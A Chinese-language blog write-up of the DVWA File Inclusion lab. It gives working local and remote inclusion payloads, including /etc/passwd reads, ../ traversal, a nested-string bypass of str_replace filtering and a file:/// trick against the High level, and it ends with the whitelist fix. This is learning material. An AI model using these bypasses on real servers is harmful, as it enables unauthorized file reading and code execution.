File Inclusion
前言
我觉得还是先介绍下，因为涉及到php函数，自己不会 世界最好的语言 ，所以引用他人的优秀的博客来装饰下我这简陋的博客
文件包含漏洞：即File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项（选项开启之后，服务器允许包含一个远程的文件）。服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我们可以构造这个恶意文件来达到自己的目的。
文件包含分为两类：
本地文件包含 当被包含的文件在服务器本地时，就形成本地文件包含；
远程文件包含 当被包含的文件在第三方服务器时，叫做远程文件包含
该漏洞涉及到php常见包含文件函数包括：
include()
当使用该函数包含文件时，只有代码执行到include()函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行
include_once()
功能和include()相同，区别在于当重复调用同一文件时，程序只调用一次
require()
require()与include()的区别在于require()执行如果发生错误，函数会输出错误信息，并终止脚本的运行 。使用require()函数包含文件时，只要程序一执行，立即调用文件，而include()只有程序执行到函数时才调用 .require()在php程序执行前执行，会先读入 require 所指定引入的文件，使它变成 PHP 程序网页的一部份。
require_once()
它的功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次
我来说下我对上面的理解吧，php后端，要想执行文件包含这骚操作，allow_url_include必须开启，然后利用上面提到的4个函数，这些函数对文件不会检测（检测也不该由这些函数来做），所以我们能将我们想要用的文件名交给它解析就很好了，来获取我们需要的信息（感觉和溢出有点像啊，也是一些东西没做检测，然后攻击者通过构造payload来让目标执行指定的文件从而实现攻击）。
然后远程执行就是allow_url_fopen也必须开启，我们指定文件就不止限制于目标机的目录，还可以让它去指定服务器去读文件了。
还有一点这个文件包含不是指一个URL像什么.html，.php什么的，这里的URL是要包含一个文件路径，这个文件路径是php后台程序会去调用的。也就是说php后台程序要有include等函数中函数去调用这个路径
目前查了下说PHP5.2开始allow_url_include开始就默认为off
练习
emmm…一打开文件包含的界面就弹出了这个…真的很不友好啊…
现在能干嘛，当然是改配置文喽，这次的上帝模式还是官方许可的
这里要注意下文件的位置
可以发现资源文件夹下也有个php.ini，而且里面也有allow_url_include，还是on…
打开文件它也说了不一定能生效…（确实也没生效）
好吧，还是来找下吧
没错就是第一个，vim打开然后查找allow_url_include改为On，接着重启下服务（我这里直接重启容器就好了）。打开网页就会发现已经没有allow_url_include is not enable已经没有了。
下面开始练习吧
Low
先来做最简单的尝试，这里第一次尝试我们先感受下成功的快感
看我们访问file1.php的时候，url是下面这样，返回了我们的ip
http://192.168.2.123:8325/vulnerabilities/fi/?page=file1.php
这里我们猜测应该是服务器后台执行了file1.php，返回了我们的ip
这里我们将file1替换成/etc/passwd
我们可以看到将passwd的内容返回了…
一来就成功，信心膨胀再来试下/etc/shadow
是的，打脸来的就是这么快…这次什么信息也没返回
…
经历了前面sql注入的波折，这里我们很自然的想到是权限的问题
没错，可以看出就是权限的额问题，shadow不是所有人都可以读取，这里的执行权限也很显然不是root
上面的路径是绝对路径，还有一种相对路径的构造方法（虽然我觉得没什么卵用，极有可能被飞速打脸）
这里的相对路径指可以用…/…/…/…/…/…/来跳到根目录（Windows是…\…\…\…\…\）…跳到根目录后你后面还是要跟文件路径啊…Windows你可以说不知道盘符？（你都知道文件路径了还不知道盘符的概率有多大？？？）…目前而言在我眼里是真的没什么太大用（好期待后面被打脸）
这里多加一些…/…/…/都是没问题的，但不能加少不然到不了根目录，后面接路径就不对了
为了演示远程执行我们再来run一个dvwa…（docker是真方便，打call）
这里特意挂载了一个文件夹方便传文件，这时候我们网/var/www/html/hack下创建一个phpinfo.txt文件，里面内容如下
这时候我们利用文件包含漏洞，这时候的文件位置写你远程主机的文件地址（这里是http://192.168.2.123:5678\hack\phpinfo.txt 注意这里要有http://）
我们可以看到成功的显示了php的信息
这里我最大的感受就是远程执行直接解决了获取文件路径这一最大难点吧，而且还可以自己来构造文件了。
然后说增加隐蔽性可以对文件地址进行url编码（不太理解这里的增加隐蔽性）
用burp来编码
也没有问题，能执行，但还是不太能理解所谓的增加隐蔽性
Medium
来到meidum等级，还是先来尝试本机的绝对路径，发现没有问题和前面low级别一样成功了…看样子medium设的坎是不针对本机绝对路径了（也可见知道路径后的强大）
既然上面成功了下面的操作肯定就不会很顺利，果然用相对路径的方法时就失败了…
嗯，没错失败了…我们发现加了一堆…/…/之后就失效了，这时候我们很容易猜测是不是被服务器过滤了，我们来加一个/再试下
我们可以看到加了一个/后就成功了，所以可以推测出，应该是服务器将…/替换为了空
前面还是相当于使用了绝对路径，非要使用相对路径怎么办呢？
…/./…/./…/./…/./ 看前面的字符串，…/被替换为空后就成功变为了…/…/…/…/…/
成功，这种替换的方法很不靠谱…总能有机会绕过（Windows为\）
再来试下远程的方法
可以看到不行，猜测应该也是替换，构造试下 hthttp:tp://192.168.2.123:5678/hack/phpinfo.txt
可以看到成功了
可不可以利用编码来进行绕过了？
可以看到是不可以的，解码是在浏览器端完成的，所以发过去的是解码后的值
（对于a-zA-Z这样的字符，浏览器在发送请求前会做解码；而对于URL不支持的字符，比如%20，浏览器是不做解码的，真正的解码是在服务器上（apache/nginx）做的）
上图可以看到用构造后的值进行url编码后是可以的…(这不废话)
medium等级对page参数进行了一定的处理
审计源码可以看见Medium级别的代码增加了str_replace函数，对page参数进行了一定的处理，将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符，即删除。
High
到high级别我们还是先来尝试服务器本机的绝对路径
emmm…不行，而且还返回了一个错误提示。讲道理要是没有源码来审计，我感觉我现在就可以放弃了
看了下源码必须要file开头…好吧这个可以通过它正常的url中找规律来总结出有file开头…
…这里说的是可以利用file协议绕过，我能说什么就是这么巧…
简单说就是用file:///+文件的地址，其实就等价于文件的地址…
可以看到file:///加上本地地址就成功访问了
相对路径也成功了
file协议用于访问本地文件所有，远程就不行了
Impossible
impossible这里就是指定page接受的值有哪些，必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一
我觉得这很好理解了…
我记得以前用django以前做动态页面的时候是添加路由和映射来做的
反而前面等级那种直接发送文件名过去这种操作我是不太能理解的，至少也做个映射吧…
当然作为菜鸡的我并没有什么实际开发经验也不会世界上最好的语言，而且毕竟这也是十大漏洞之一啊，
作为开发者一定要引以为戒…
总结
文件包含要成功首先对方肯定要有这个漏洞才行（感觉这点就很难），然后要知道路径（最好是绝对路径，尝试一些默认路径，当然要是可以远程执行就最好了），最后注意对方的规则限制，可能需要自己来构造一下。
现在回想一遍感觉比sql注入的技术含量要低啊…
参考
